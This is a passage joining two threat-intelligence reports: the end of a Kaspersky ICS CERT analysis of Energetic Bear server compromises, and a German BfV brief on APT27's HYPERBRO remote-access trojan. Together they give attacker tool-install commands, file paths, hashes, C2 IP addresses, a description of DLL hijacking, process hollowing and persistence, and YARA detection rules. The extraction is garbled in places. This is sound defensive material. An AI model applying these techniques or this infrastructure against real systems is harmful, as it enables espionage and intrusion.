Specifically, the following commands for third-party installations were identified on one of the servers: apt install traceroute apt-get install nmap apt-get install screen git clone https://github.com/sqlmapproject/sqlmap.git https://ics-cert.kaspersky.com/ Energetic Bear/Crouching Yeti: attacks on servers                                                       Kaspersky Lab ICS CERT 14 Kaspersky Lab, 1997  2018 Additionally, the attackers installed any packages and tools for Python they needed.
The diagram below shows times of illegitimate logons to one of the compromised servers during one month.
The attackers checked the smbtrap log file on working days.
In most cases, they logged on to the server at roughly the same time of day, probably in the morning hours: Times of illegitimate connections with the server (GMT3) In addition, in the process of performing the analysis, an active process was identified that exploited SQL injection and collected data from a database of one of the victims.
8:24:00 9:36:00 10:48:00 12:00:00 13:12:00 14:24:00 15:36:00 16:48:00 18:00:00 19:12:00 0 5 .1 2 .2 01 7 0 6 .1 2 .2 01 7 0 7 .1 2 .2 01 7 0 8 .1 2 .2 01 7 0 9 .1 2 .2 01 7 1 0 .1 2 .2 01 7 1 1 .1 2 .2 01 7 1 2 .1 2 .2 01 7 1 3 .1 2 .2 01 7 1 4 .1 2 .2 01 7 1 5 .1 2 .2 01 7 1 6 .1 2 .2 01 7 1 7 .1 2 .2 01 7 1 8 .1 2 .2 01 7 1 9 .1 2 .2 01 7 2 0 .1 2 .2 01 7 2 1 .1 2 .2 01 7 2 2 .1 2 .2 01 7 2 3 .1 2 .2 01 7 2 4 .1 2 .2 01 7 2 5 .1 2 .2 01 7 2 6 .1 2 .2 01 7 2 7 .1 2 .2 01 7 2 8 .1 2 .2 01 7 2 9 .1 2 .2 01 7 3 0 .1 2 .2 01 7 3 1 .1 2 .2 01 7 0 1 .0 1 .2 01 8 0 2 .0 1 .2 01 8 0 3 .0 1 .2 01 8 0 4 .0 1 .2 01 8 0 5 .0 1 .2 01 8 0 6 .0 1 .2 01 8 0 7 .0 1 .2 01 8 0 8 .0 1 .2 01 8 0 9 .0 1 .2 01 8 1 0 .0 1 .2 01 8 1 1 .0 1 .2 01 8 1 2 .0 1 .2 01 8 1 3 .0 1 .2 01 8 https://ics-cert.kaspersky.com/ Energetic Bear/Crouching Yeti: attacks on servers                                                       Kaspersky Lab ICS CERT 15 Kaspersky Lab, 1997  2018 Conclusion The findings of the analysis of compromised servers and the attackers activity on these servers are as follows: 1.
With rare exceptions, the groups members get by with publicly available tools.
The use of publicly available utilities by the group to conduct its attacks renders the task of attack attribution without any additional group markers very difficult.
2.
Potentially, any vulnerable server on the internet is of interest to the attackers when they want to establish a foothold in order to develop further attacks against target facilities.
3.
In most cases that we have observed, the group performed tasks related to searching for vulnerabilities, gaining persistence on various hosts, and stealing authentication data.
4.
The diversity of victims may indicate the diversity of the attackers interests.
5.
It can be assumed with some degree of certainty that the group operates in the interests of or takes orders from customers that are external to it, performing initial data collection, the theft of authentication data and gaining persistence on resources that are suitable for the attacks further development.
Appendix I  Indicators of Compromise Filenames and Paths Tools /usr/lib/libng/ftpChecker.py /usr/bin/nmap/ /usr/lib/libng/dirsearch/ /usr/share/python2.7/dirsearch/ /usr/lib/libng/SMBTrap/ /usr/lib/libng/commix/ /usr/lib/libng/subbrute-master/ /usr/share/python2.7/sqlmap/ /usr/lib/libng/sqlmap-dev/ /usr/lib/libng/wpscan/ /usr/share/python2.7/wpscan/ /usr/share/python2.7/Sublist3r/ Note that these tools can also be used by other threat actors.
https://ics-cert.kaspersky.com/ Energetic Bear/Crouching Yeti: attacks on servers                                                       Kaspersky Lab ICS CERT 16 Kaspersky Lab, 1997  2018 PHP files: /usr/share/python2.7/sma.php /usr/share/python2.7/theme.php /root/theme.php /usr/lib/libng/media.php Logs /var/tmp/.pipe.sock PHP file hashes f3e3e25a822012023c6e81b206711865 c76470e85b7f3da46539b40e5c552712 155385cc19e3092765bcfed034b82ccb 1644af9b6424e8f58f39c7fa5e76de51 2292f5db385068e161ae277531b2e114 7ec514bbdc6dd8f606f803d39af8883f 78c31eff38fdb72ea3b1800ea917940f Yara rules rule Backdoored_ssh strings: a1  OpenSSH a2  usage: ssh a3  HISTFILE condition: uint32(0)  0x464c457f and filesize1000000 and all of (a)  https://ics-cert.kaspersky.com/ Energetic Bear/Crouching Yeti: attacks on servers                                                       Kaspersky Lab ICS CERT 17 Kaspersky Lab, 1997  2018 Appendix II  Shell script to check a server for tools Shell script for Debian cd /tmp workdir428c5fcf495396df04a459e317b70ca2 mkdir workdir cd workdir find / -type d -iname smbtrap  find-smbtrap.txt 2/dev/null find / -type d -iname dirsearch  find-dirsearch.txt 2/dev/null find / -type d -iname nmap  find-nmap.txt 2/dev/null find / -type d -iname wpscan  find-wpscan.txt 2/dev/null find / -type d -iname sublist3r  find-sublist3r.txt 2/dev/null dpkg -l  grep -E \(impacket\pcapy\nmap\)  dpkg-grep.txt cp /var/lib/dpkg/info/openssh-server.md5sums .
retrieve initial hash for sshd md5sum /usr/sbin/sshd  sshd.md5sum calculate actual hash for sshd Shell script for Centos cd /tmp workdir428c5fcf495396df04a459e317b70ca2 mkdir workdir cd workdir find / -type d -iname smbtrap  find-smbtrap.txt 2/dev/null find / -type d -iname dirsearch  find-dirsearch.txt 2/dev/null find / -type d -iname nmap  find-nmap.txt 2/dev/null find / -type d -iname wpscan  find-wpscan.txt 2/dev/null find / -type d -iname sublist3r  find-sublist3r.txt 2/dev/null rpm -qa  grep -E \(impacket\pcapy\nmap\)  rpm-grep.txt rpm -qa --dump  grep ssh  rpm-qa-dump.txt retrieve initial hash for sshd sha256sum /usr/sbin/sshd  sshd.sha256sum calculate actual sha256 hash for sshd md5sum /usr/sbin/sshd  sshd.md5sum calculate actual md5 hash for sshd https://ics-cert.kaspersky.com/ Energetic Bear/Crouching Yeti: attacks on servers                                                       Kaspersky Lab ICS CERT 18 Kaspersky Lab, 1997  2018 Kaspersky Lab Industrial Control Systems Cyber Emergency Response Team (Kaspersky Lab ICS CERT) is a global project of Kaspersky Lab aimed at coordinating the work of industrial automation system vendors, owners and operators of industrial facilities and IT security researchers in addressing issues associated with protecting industrial enterprises and critical infrastructure facilities.
Kaspersky Lab ICS CERT Ics-certkaspersky.com https://ics-cert.kaspersky.com/ https://ics-cert.kaspersky.com/
Kln, 26.
Januar 2022 maxsim/Fotolia.com Kontakt: Bundesamt fr Verfassungsschutz Cyberabwehr 0228-99-792-2600 BfV Cyber-Brief Nr.
01/2022 - Hinweis auf aktuelle Angriffskampagne - TLP:WHITETLP:WHITE BfV Cyber-Brief 2Bundesamt fr Verfassungsschutz - Cyber-Brief Nr.
01/2022 TLP:WHITETLP:WHITE Aktuelle Cyberangriffskampagne gegen deutsche Wirtschaftsunterneh- men durch die Gruppierung APT27 Aktuelle Erkenntnisse deuten auf anhaltende Cyberangriffsaktivitten der Gruppierung APT27 gegen Wirtschaftsunternehmen in Deutschland hin.
Sachverhalt Dem Bundesamt fr Verfassungsschutz (BfV) liegen Erkenntnisse ber eine anhaltende Cyberspio- nagekampagne durch die Cyberangriffsgruppierung APT27 unter Einsatz der Schadsoftwarevariante HYPERBRO gegen deutsche Wirtschaftsunternehmen vor.
Nach aktuellen Erkenntnissen nutzen die Angreifer seit Mrz 2021 Schwachstellen in Microsoft Exchange sowie in der Software Zoho AdSelf Service Plus1 als Einfallstor fr die Angriffe aus.
Es kann nicht ausgeschlossen werden, dass die Akteure neben dem Diebstahl von Geschftsgeheim- nissen und geistigem Eigentum versuchen, die Netzwerke der (Unternehmens-)Kunden beziehungs- weise von Dienstleistern zustzlich zu infiltrieren (Supply-Chain-Angriff).
1 Bei dem Programm handelt es sich um ein webbasierte Software zur Verwaltung von Zugangsdaten von Cloud- und Windows Active Directory-Konten BfV Cyber-Brief 3Bundesamt fr Verfassungsschutz - Cyber-Brief Nr.
01/2022 TLP:WHITETLP:WHITE Hintergrundinformationen Die Cyberspionagegruppierung APT27 ist seit mindestens 2010 aktiv.
Gegenwrtig beobachtet das BfV eine Zunahme von Angriffen gegen deutsche Ziele durch die Gruppierung unter Verwendung der HYPERBRO-Schadsoftware.
Das BfV geht von einer anhaltenden Angriffswelle durch den Akteur auf die deutsche Wirtschaft aus und verffentlicht daher die angehngten Detektionsregeln und technische Indikatoren (Indicators of Compromise), um Wirtschaftsunternehmen die Identifikation bestehender Infektionen mit den derzeit kursierenden und mglicherweise neuen Versionen der Schadsoftware zu ermglichen.
Au- erdem wird im Folgenden die Funktionsweise von HYPERBRO am Beispiel einer aktuellen Variante dargestellt.
Angriffsvektor Die Angreifer verfgten bereits vor ffentlichem Bekanntwerden ber Kenntnis der Schwachstel- len in der Software Zoho Manage Engine ADSelfService Plus (CVE-2021-40539) sowie in Microsoft Exchange Server 2013, 2016 und 2019 (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 und CVE-2021-27065), die zur Auslieferung von HYPERBRO verwendet werden.
Technische Analyse Bei HYPERBRO handelt es sich um ein Remote-Access-Tool (RAT), das in der Regel aus den folgen- den Komponenten besteht (siehe Abb.
1): Abbildung 1: Komponenten von HYPERBRO BfV Cyber-Brief 4Bundesamt fr Verfassungsschutz - Cyber-Brief Nr.
01/2022 TLP:WHITETLP:WHITE 1.
Legitime Executable2 (msmpeng.exe oder vfhost.exe) - in diesem Fall die legitime Software Cy- berArk Viewfinity, die mit einem validen, aber abgelaufenem Zertifikat signiert ist.
2.
Malizse DLL3 (vftrace.dll), die durch den legitimen Loader per DLL-Hijacking4 Methode ge- laden wird.
3.
Malware Payload (thumb.dat) im Binrformat ausfhrbarer Programme (PE-Dateien), der aus- fhrbaren Shellcode, eine malizise DLL sowie Informationen ber die Angriffsinfrastruktur (C2-Adressen) beinhaltet.
4.
Bei Ausfhrung des Payloads, wird weiterhin eine Malware Konfigurationsdatei (config.ini) als Datei im Ordner abgelegt.
Installationsprozess Der Installationsprozess von HYPERBRO luft wie folgt ab (siehe Abb.
2): Abbildung 2: Installationsprozess von HYPERBRO 2 Als Loader bezeichnet man eine der ersten Stufe einer mehrstufigen Malware, die die malizisen Bestandteile der Schadsoftware ggf.
dekodiert und ausfhrt.
Loader knnen dabei teils auf legitimen Programmen basieren, die vom Angreifer entgegen ihres eigentlichen Einsatzzweckes zum Laden von Schadprogrammen missbraucht werden.
3 Bei einer DLL (Dynamic Link Library) handelt es sich um eine Programmbibliothek (meist in einem Windowssystem) aus der Softwareprogramme dynamisch Daten, Ressourcen oder Funktionalitten nachladen knnen.
4 DLL-Hijacking bezeichnet das Laden einer DLL aus einem vom Programmentwickler nicht vorgesehenen Pfad.
Sofern keine vollstndige Pfadangabe zum Laden der DLL in einer Software hinterlegt ist, wird unter Windows standardmig zuerst in dem Ordner gesucht, in welchem das Programm selbst liegt, dann in bestimmten Windows-Ordnern.
Legt ein Angreifer eine malizise DLL in einem Ordner ab, der vor dem Ordner der eigentlich zu ladenden DLL durchsucht wird, ldt ein legitimes Programm die malizise DLL und fhrt diese damit aus.
BfV Cyber-Brief 5Bundesamt fr Verfassungsschutz - Cyber-Brief Nr.
01/2022 TLP:WHITETLP:WHITE Bei der initialen Ausfhrung der legitimen Executable (msmpeng.exe / vfhost.exe) wird die malizise DLL (vftrace.dll) per (1.)
DLL-Hijacking geladen.
Die malizise DLL (2.)
ldt und decodiert daraufhin den Malware Payload (thumb.dat).
Die DLL und der Payload sind dabei stark obfuskiert und nutzen Anti-Debugging-Techniken, um die Analyse zu erschweren.
Der decodierte Payload enthlt Shell- code sowie eine komprimierte DLL, die (3.)
vom Shellcode dekomprimiert und in memory geladen wird.
Diese DLL (4.)
prft daraufhin von welchem Ablageort HYPERBRO gestartet wurde  i.d.
R. be- findet sie sich zu diesem Zeitpunkt noch an einem zuflligen, durch den Akteur gewhlten Ablage- ort.
Weiterhin wird berprft ob HYPERBRO mit administrativen Rechten gestartet wurde: Ist das der Fall (4.a) werden alle HYPERBRO-Dateien in den folgenden Ordner verschoben bzw.
kopiert, um die Software Windows Defender zu imitieren: ProgramFiles\Common Files\windefenders\ In diesen Ordner kann nur mit administrativen Rechten geschrieben werden.
Wurde HYPERBRO ohne administrative Rechte gestartet, (4.b) wird die Schadsoftware hingegen in den folgenden Ordner verschoben: ProgramData\windefenders\ Durch die Verschiebung in diesen Ordner imitiert HYPERBRO ebenfalls die Software Windows Defender.
Anschlieend (5.)
startet sich HYPERBRO am neuen Ablageort selbst neu.
Dazu kommt Process Hollowing (in svchost.exe) zum Einsatz und unter Umstnden auch die Erstellung eines temporren Services, um die Ausfhrung mit lokalen Systemrechten zu ermglichen (in manchen HYPERBRO-Varianten).
BfV Cyber-Brief 6Bundesamt fr Verfassungsschutz - Cyber-Brief Nr.
01/2022 TLP:WHITETLP:WHITE Ausfhrungsprozess Die erneute Ausfhrung von HYPERBRO (nach Installation oder bei jedem Systemneustart) luft in den ersten drei Schritten genauso ab, wie bei der Installation (siehe Abb.
3): Abbildung 3: Ausfhrungsprozess von HYPERBRO Bei der Ausfhrung der legitimen Executable (msmpeng.exe / vfhost.exe) wird die malizise DLL (vftrace.dll) per (1.)
DLL-Hijacking geladen.
Die malizise DLL (2.)
ldt und decodiert daraufhin den Malware Payload (thumb.dat).
Der decodierte Payload enthlt Shellcode sowie die komprimierte DLL, die (3.)
vom Shellcode dekomprimiert und geladen wird.
Diese DLL (4.)
prft daraufhin erneut von welchem Ablageort HYPERBRO gestartet wurde  dieses Mal identifiziert die DLL jedoch, dass HYPERBRO aus dem finalen Ablageort heraus gestartet wurde (ProgramFiles\Common Files\ windefenders\ oder ProgramData\windefenders\).
Ebenfalls wird erneut geprft, ob HYPERBRO mit administrativen Rechten gestartet wurde.
Daraufhin wird ein Persistenzmechanismus eingerich- tet.
Ein Service (windefenders) (4.a), falls das Programm mit administrativen Rechten gestartet wurde (Anzeigename Windows Defenders) und ein Registry Key (4.b) (HKEY_CURRENT_USER\Software\ Microsoft\Windows\CurrentVersion\Run\windefenders), falls ohne administrative Rechte gestartet wurde.
Zudem wird ein Mutex erstellt, das eine Mehrfachinfektion verhindert.
Auerdem wird eine (6.)
Malware Konfigurationsdatei (config.ini) im Ordner abgelegt.
Die Konfigurationsdatei (config.
ini) beinhaltet die zufllig generierte GUID5 von HYPERBRO, die bei der C2-Kommunikation mit 5 GUID: Globally Unique Identifiier ist eine Zahl mit 128 Bit (16 Bytes), die im vorliegenden Fall genutzt wird um eine bestimmte Malware-Instanz bzw.
ein kompromit- tiertes Opfer zu identifizieren.
BfV Cyber-Brief 7Bundesamt fr Verfassungsschutz - Cyber-Brief Nr.
01/2022 TLP:WHITETLP:WHITE bermittelt wird.
Zuletzt (7.)
wird die malizise DLL per Process Hollowing in einen neuen Prozess svchost.exe-Pozess geladen.
HYPERBRO kann in Memory bei Bedarf (8.)
noch weitere Prozesse starten, um bestimmte Funktio- nalitten (wie bspw.
Key-Logging) zu ermglichen.
Diese optionalen Worker Prozesse kommunizie- ren via einer Named Pipe (\\.\pipe\testpipe) mit dem ursprnglichen Daemon Prozess (siehe Abb.
4).
Abbildung 4: Ausfhrungsprozess von HYPERBRO in Memory Netzwerkkommunikation HYPERBRO kommuniziert mit hardcodierten C2-Servern des Angreifers und erhlt von diesen ver- schiedene Kommandos.
Bekannte C2-Server sind im Anhang A.
Indicators of Compromise (IOCs) zu finden.
Die Schadkommunikation von HYPERBRO findet in der Regel ber TCP Port 443 statt.
In Einzelfllen kann es vorkommen, dass mehrere Varianten von HYPERBRO in einem Opfernetz- werk durch die Angreifer installiert werden, die sich nach aktuellen Erkenntnissen in den hartkodier- ten C2-Adressen unterscheiden.
Handlungsempfehlung Es wird empfohlen, die eigenen Systeme mit den im Anhang (Anhang A.
Indicators of Compromi- se (IOCs)) zur Verfgung gestellten IOCs zu prfen.
Insbesondere sollte in Logdateien und aktiven Netzwerkverbindungen nach Verbindungen zu den im Bereich IOCs genannten externen Systemen gesucht werden.
Da die bereitgestellten IOCs durch den Akteur ggf.
gewechselt werden, sollten ins- besondere  falls vorhanden  historische Netzwerk-Logs (insbesondere seit Februar 2021) geprft werden, um bereits in der Vergangenheit erfolgte Infektionen auszuschlieen.
Ferner knnen die zustzlich im Anhang beigefgten Detektionsregeln (Anhang B.  Detektionsre- geln  HYPERBRO) dazu genutzt werden, nach einer Infektion durch HYPERBRO zu suchen.
BfV Cyber-Brief 8Bundesamt fr Verfassungsschutz - Cyber-Brief Nr.
01/2022 TLP:WHITETLP:WHITE Kontakt Fr Rckmeldungen und Fragen an die Cyberabwehr des BfV wenden Sie sich bitte an folgenden Kontakt: Tel.
:
0228-99-792-2600 oder cyberabwehrbfv.bund.de BfV Cyber-Brief 9Bundesamt fr Verfassungsschutz - Cyber-Brief Nr.
01/2022 TLP:WHITETLP:WHITE Anhang A.
Indicators of Compromise (IOCs) Typ IOC Funktion IP 104.168.236.46 C2-Server IP 103.79.77.200 C2-Server IP 87.98.190.184 C2-Server Weitere mgliche Indikatoren fr eine Infektion Die folgenden Indikatoren knnten auch einen legitimen Ursprung haben, sollten aber dennoch ein- gehend geprft werden: Datei TEMP\username.key.log Log-Datei mit Tastaturanschlgen (vom Keylogger aufgezeichnet) Datei TEMP\username.clip.log Log-Datei mit Inhalt der Zwischenablage Named Pipe \\.\pipe\testpipe Named Pipe fr IPC zwischen Daemon Prozess und Worker Prozess Mutex 80A85553-1E05-4323-B4F9-43A4396A4507 Mutex die vom Programm erstellt wird um Mehrfachausfhrung zu verhindern Service windefenders Wird angelegt wenn Schadsoftware mit Admin-Rechten ausgefhrt wird Anzeigename Windows Defenders Beschreibung Windows Defenders Service Prozess msiexec.exe Optional weitere Injection in msiexec durch entsprechendes C2-Kommando ausgelst User Agent Mozilla/5.0 (Windows NT 6.3 WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 User Agent String den die Malware fr C2 (https) verwendet Remote Pfad /api/v2/ajax Pfad auf dem C2-Server an den POST-Requests bertragen werden Registry HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run\windefenders Run Key als Persistenzmechanismus bei Aus- fhrung ohne Admin-Rechte Dateien / Pfade ProgramFiles\Common Files\windefenders\ ProgramFiles\Common Files\windefenders\config.ini ProgramFiles\Common Files\windefenders\msmpeng.exe ProgramFiles\Common Files\windefenders\thumb.dat ProgramFiles\Common Files\windefenders\vftrace.dll ProgramData\windefenders\ ProgramData\windefenders\config.ini ProgramData\windefenders\msmpeng.exe ProgramData\windefenders\thumb.dat ProgramData\windefenders\vftrace.dll Ablageorte und Komponenten der Malware BfV Cyber-Brief 10Bundesamt fr Verfassungsschutz - Cyber-Brief Nr.
01/2022 TLP:WHITETLP:WHITE Anhang B.  Detektionsregeln -HYPERBRO (Yara) Detektionsregel I: Stage-Loader Anmerkung: Die nachfolgende Yara-Regel dient zur Identifikation des initialen Stage-Loaders aus der Datei vftra- ce.dll der HYPERBRO Malware und detektiert die entsprechende Dekodier-Funktion.
import pe rule vftrace_loader meta: id  4eEDO8F3p27FeY5YLIPjrA fingerprint  b14d0c555f2908a31fefdfa23876d48589cd04dec9e7338a96bc85b0bf58b458 version  1.0 first_imported  2022-01-14 last_modified  2022-01-14 status  RELEASED sharing  TLP:WHITE source  BUNDESAMT FUER VERFASSUNGSSCHUTZ author  Bundesamt fuer Verfassungsschutz description  Yara rule to detect first Hyperbro Loader Stage, often called vftrace.dll.
Detects decoding function.
category  MALWARE malware  HYPERBRO mitre_att  S0398 reference  Warnmeldung des BFV - Aktuelle APT27-Angriffskampagne gegen deutsche Wirtschaftsunternehmen hash  333B52C2CFAC56B86EE9D54AEF4F0FF4144528917BC1AA1FE1613EFC2318339A strings: decoder_routine   8A ?
?
41 10 00 00 8B ?
?
28 ?? ?
?
4?
3B ?
?
72 ?
?
condition: decoder_routine and pe.exports(D_C_Support_SetD_File) and (pe.characteristics  pe.
DLL) and filesize  5MB  BfV Cyber-Brief 11Bundesamt fr Verfassungsschutz - Cyber-Brief Nr.
01/2022 TLP:WHITETLP:WHITE Detektionsregel II: Neue Varianten des Payloads (ab Ende 2021) Anmerkung: Die nachfolgende Yara-Regel dient zur Identifikation des HYPERBRO Loader Shellcodes in der Datei thumb.dat und ggf.
whrend der Ausfhrung in Memory.
rule thumb_dat_shellcode_encoded  meta: id  4xBEgDqWksKAhAycnr9yEX fingerprint  ed9d24bbb9d63a6c015d3d4c273b544b62483beb6f128e45d3d5d0900965d163 version  1.0 first_imported  2022-01-07 last_modified  2022-01-07 status  RELEASED sharing  TLP:WHITE source  BUNDESAMT FUER VERFASSUNGSSCHUTZ author  Bundesamt fuer Verfassungsschutz description  Yara rule to detect Hyperbro Loader Shellcode with all possible ADD/SUB encodings and in its decoded form at the start of thumb.dat files.
Tested against thumb.dat from 2019 and 2021.
category  MALWARE malware  HYPERBRO mitre_att  S0398 reference  Warnmeldung des BFV - Aktuelle APT27-Angriffskampagne gegen deutsche Wirtschaftsunternehmen hash  601A02B81E3BD134C2CF681AC03D696B446E10BF267B11B91517DB1B233FEC74 strings: thumb_dat_content1     E8 6B 09 00 00 C3 55 8B EC 51 51 83 65 F8 00 8B thumb_dat_content2     E9 6C 0A 01 01 C4 56 8C ED 52 52 84 66 F9 01 8C thumb_dat_content3     EA 6D 0B 02 02 C5 57 8D EE 53 53 85 67 FA 02 8D thumb_dat_content4     EB 6E 0C 03 03 C6 58 8E EF 54 54 86 68 FB 03 8E thumb_dat_content5     EC 6F 0D 04 04 C7 59 8F F0 55 55 87 69 FC 04 8F thumb_dat_content6     ED 70 0E 05 05 C8 5A 90 F1 56 56 88 6A FD 05 90 thumb_dat_content7     EE 71 0F 06 06 C9 5B 91 F2 57 57 89 6B FE 06 91 thumb_dat_content8     EF 72 10 07 07 CA 5C 92 F3 58 58 8A 6C 00 07 92 thumb_dat_content9     F0 73 11 08 08 CB 5D 93 F4 59 59 8B 6D 01 08 93 thumb_dat_content10    F1 74 12 09 09 CC 5E 94 F5 5A 5A 8C 6E 02 09 94 thumb_dat_content11    F2 75 13 0A 0A CD 5F 95 F6 5B 5B 8D 6F 03 0A 95 thumb_dat_content12    F3 76 14 0B 0B CE 60 96 F7 5C 5C 8E 70 04 0B 96 thumb_dat_content13    F4 77 15 0C 0C CF 61 97 F8 5D 5D 8F 71 05 0C 97 thumb_dat_content14    F5 78 16 0D 0D D0 62 98 F9 5E 5E 90 72 06 0D 98 thumb_dat_content15    F6 79 17 0E 0E D1 63 99 FA 5F 5F 91 73 07 0E 99 thumb_dat_content16    F7 7A 18 0F 0F D2 64 9A FB 60 60 92 74 08 0F 9A thumb_dat_content17    F8 7B 19 10 10 D3 65 9B FC 61 61 93 75 09 10 9B thumb_dat_content18    F9 7C 1A 11 11 D4 66 9C FD 62 62 94 76 0A 11 9C thumb_dat_content19    FA 7D 1B 12 12 D5 67 9D FE 63 63 95 77 0B 12 9D thumb_dat_content20    FB 7E 1C 13 13 D6 68 9E 00 64 64 96 78 0C 13 9E thumb_dat_content21    FC 7F 1D 14 14 D7 69 9F 01 65 65 97 79 0D 14 9F thumb_dat_content22    FD 80 1E 15 15 D8 6A A0 02 66 66 98 7A 0E 15 A0 thumb_dat_content23    FE 81 1F 16 16 D9 6B A1 03 67 67 99 7B 0F 16 A1 thumb_dat_content24    00 82 20 17 17 DA 6C A2 04 68 68 9A 7C 10 17 A2 thumb_dat_content25    01 83 21 18 18 DB 6D A3 05 69 69 9B 7D 11 18 A3 thumb_dat_content26    02 84 22 19 19 DC 6E A4 06 6A 6A 9C 7E 12 19 A4 thumb_dat_content27    03 85 23 1A 1A DD 6F A5 07 6B 6B 9D 7F 13 1A A5 thumb_dat_content28    04 86 24 1B 1B DE 70 A6 08 6C 6C 9E 80 14 1B A6 thumb_dat_content29    05 87 25 1C 1C DF 71 A7 09 6D 6D 9F 81 15 1C A7 thumb_dat_content30    06 88 26 1D 1D E0 72 A8 0A 6E 6E A0 82 16 1D A8 thumb_dat_content31    07 89 27 1E 1E E1 73 A9 0B 6F 6F A1 83 17 1E A9 thumb_dat_content32    08 8A 28 1F 1F E2 74 AA 0C 70 70 A2 84 18 1F AA thumb_dat_content33    09 8B 29 20 20 E3 75 AB 0D 71 71 A3 85 19 20 AB thumb_dat_content34    0A 8C 2A 21 21 E4 76 AC 0E 72 72 A4 86 1A 21 AC thumb_dat_content35    0B 8D 2B 22 22 E5 77 AD 0F 73 73 A5 87 1B 22 AD thumb_dat_content36    0C 8E 2C 23 23 E6 78 AE 10 74 74 A6 88 1C 23 AE thumb_dat_content37    0D 8F 2D 24 24 E7 79 AF 11 75 75 A7 89 1D 24 AF thumb_dat_content38    0E 90 2E 25 25 E8 7A B0 12 76 76 A8 8A 1E 25 B0 thumb_dat_content39    0F 91 2F 26 26 E9 7B B1 13 77 77 A9 8B 1F 26 B1 BfV Cyber-Brief 12Bundesamt fr Verfassungsschutz - Cyber-Brief Nr.
01/2022 TLP:WHITETLP:WHITE thumb_dat_content40    10 92 30 27 27 EA 7C B2 14 78 78 AA 8C 20 27 B2 thumb_dat_content41    11 93 31 28 28 EB 7D B3 15 79 79 AB 8D 21 28 B3 thumb_dat_content42    12 94 32 29 29 EC 7E B4 16 7A 7A AC 8E 22 29 B4 thumb_dat_content43    13 95 33 2A 2A ED 7F B5 17 7B 7B AD 8F 23 2A B5 thumb_dat_content44    14 96 34 2B 2B EE 80 B6 18 7C 7C AE 90 24 2B B6 thumb_dat_content45    15 97 35 2C 2C EF 81 B7 19 7D 7D AF 91 25 2C B7 thumb_dat_content46    16 98 36 2D 2D F0 82 B8 1A 7E 7E B0 92 26 2D B8 thumb_dat_content47    17 99 37 2E 2E F1 83 B9 1B 7F 7F B1 93 27 2E B9 thumb_dat_content48    18 9A 38 2F 2F F2 84 BA 1C 80 80 B2 94 28 2F BA thumb_dat_content49    19 9B 39 30 30 F3 85 BB 1D 81 81 B3 95 29 30 BB thumb_dat_content50    1A 9C 3A 31 31 F4 86 BC 1E 82 82 B4 96 2A 31 BC thumb_dat_content51    1B 9D 3B 32 32 F5 87 BD 1F 83 83 B5 97 2B 32 BD thumb_dat_content52    1C 9E 3C 33 33 F6 88 BE 20 84 84 B6 98 2C 33 BE thumb_dat_content53    1D 9F 3D 34 34 F7 89 BF 21 85 85 B7 99 2D 34 BF thumb_dat_content54    1E A0 3E 35 35 F8 8A C0 22 86 86 B8 9A 2E 35 C0 thumb_dat_content55    1F A1 3F 36 36 F9 8B C1 23 87 87 B9 9B 2F 36 C1 thumb_dat_content56    20 A2 40 37 37 FA 8C C2 24 88 88 BA 9C 30 37 C2 thumb_dat_content57    21 A3 41 38 38 FB 8D C3 25 89 89 BB 9D 31 38 C3 thumb_dat_content58    22 A4 42 39 39 FC 8E C4 26 8A 8A BC 9E 32 39 C4 thumb_dat_content59    23 A5 43 3A 3A FD 8F C5 27 8B 8B BD 9F 33 3A C5 thumb_dat_content60    24 A6 44 3B 3B FE 90 C6 28 8C 8C BE A0 34 3B C6 thumb_dat_content61    25 A7 45 3C 3C 00 91 C7 29 8D 8D BF A1 35 3C C7 thumb_dat_content62    26 A8 46 3D 3D 01 92 C8 2A 8E 8E C0 A2 36 3D C8 thumb_dat_content63    27 A9 47 3E 3E 02 93 C9 2B 8F 8F C1 A3 37 3E C9 thumb_dat_content64    28 AA 48 3F 3F 03 94 CA 2C 90 90 C2 A4 38 3F CA thumb_dat_content65    29 AB 49 40 40 04 95 CB 2D 91 91 C3 A5 39 40 CB thumb_dat_content66    2A AC 4A 41 41 05 96 CC 2E 92 92 C4 A6 3A 41 CC thumb_dat_content67    2B AD 4B 42 42 06 97 CD 2F 93 93 C5 A7 3B 42 CD thumb_dat_content68    2C AE 4C 43 43 07 98 CE 30 94 94 C6 A8 3C 43 CE thumb_dat_content69    2D AF 4D 44 44 08 99 CF 31 95 95 C7 A9 3D 44 CF thumb_dat_content70    2E B0 4E 45 45 09 9A D0 32 96 96 C8 AA 3E 45 D0 thumb_dat_content71    2F B1 4F 46 46 0A 9B D1 33 97 97 C9 AB 3F 46 D1 thumb_dat_content72    30 B2 50 47 47 0B 9C D2 34 98 98 CA AC 40 47 D2 thumb_dat_content73    31 B3 51 48 48 0C 9D D3 35 99 99 CB AD 41 48 D3 thumb_dat_content74    32 B4 52 49 49 0D 9E D4 36 9A 9A CC AE 42 49 D4 thumb_dat_content75    33 B5 53 4A 4A 0E 9F D5 37 9B 9B CD AF 43 4A D5 thumb_dat_content76    34 B6 54 4B 4B 0F A0 D6 38 9C 9C CE B0 44 4B D6 thumb_dat_content77    35 B7 55 4C 4C 10 A1 D7 39 9D 9D CF B1 45 4C D7 thumb_dat_content78    36 B8 56 4D 4D 11 A2 D8 3A 9E 9E D0 B2 46 4D D8 thumb_dat_content79    37 B9 57 4E 4E 12 A3 D9 3B 9F 9F D1 B3 47 4E D9 thumb_dat_content80    38 BA 58 4F 4F 13 A4 DA 3C A0 A0 D2 B4 48 4F DA thumb_dat_content81    39 BB 59 50 50 14 A5 DB 3D A1 A1 D3 B5 49 50 DB thumb_dat_content82    3A BC 5A 51 51 15 A6 DC 3E A2 A2 D4 B6 4A 51 DC thumb_dat_content83    3B BD 5B 52 52 16 A7 DD 3F A3 A3 D5 B7 4B 52 DD thumb_dat_content84    3C BE 5C 53 53 17 A8 DE 40 A4 A4 D6 B8 4C 53 DE thumb_dat_content85    3D BF 5D 54 54 18 A9 DF 41 A5 A5 D7 B9 4D 54 DF thumb_dat_content86    3E C0 5E 55 55 19 AA E0 42 A6 A6 D8 BA 4E 55 E0 thumb_dat_content87    3F C1 5F 56 56 1A AB E1 43 A7 A7 D9 BB 4F 56 E1 thumb_dat_content88    40 C2 60 57 57 1B AC E2 44 A8 A8 DA BC 50 57 E2 thumb_dat_content89    41 C3 61 58 58 1C AD E3 45 A9 A9 DB BD 51 58 E3 thumb_dat_content90    42 C4 62 59 59 1D AE E4 46 AA AA DC BE 52 59 E4 thumb_dat_content91    43 C5 63 5A 5A 1E AF E5 